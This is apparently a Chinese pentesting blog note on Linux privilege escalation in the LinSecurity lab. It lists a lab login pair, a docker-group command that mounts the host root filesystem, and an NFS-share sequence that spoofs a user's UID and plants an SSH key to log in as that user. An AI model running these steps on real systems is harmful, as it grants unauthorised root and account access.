linux提权-msf提权插件编写中 linux提权-msf提权插件编写中 bob / secret docker组提权1Copydocker run -v /:/linsecurity -i -t chrisfosterelli/rootpleaseCopy nsf提权12345678910111213141516171819202122232425Copy查看并挂载目录showmount -e 192.168.1.140mount 192.168.1.140:/home/peter /mnt/peter查看权限ls -la /mnt/petertouch this-wont-work添加用户组和用户groupadd --gid 1005 peteruseradd --uid 1001 --gid 1005 petersu peterpwdtouch this-will-workls -la生成私钥ssh-keygenmkdir .sshls -la /home/peter/.sshcat /home/peter/.ssh/id_rsa.pub > .ssh/authorized_keys获得普通用户权限ssh peter@192.168.1.140whoami;idCopy 参考资料 https://s1gh.sh/lin-security/ https://book.hacktricks.xyz/pentesting-methodology linux linux 03-msf报错(SESSION may not be compatible) Previous cobaltstrike的脚本(四) Next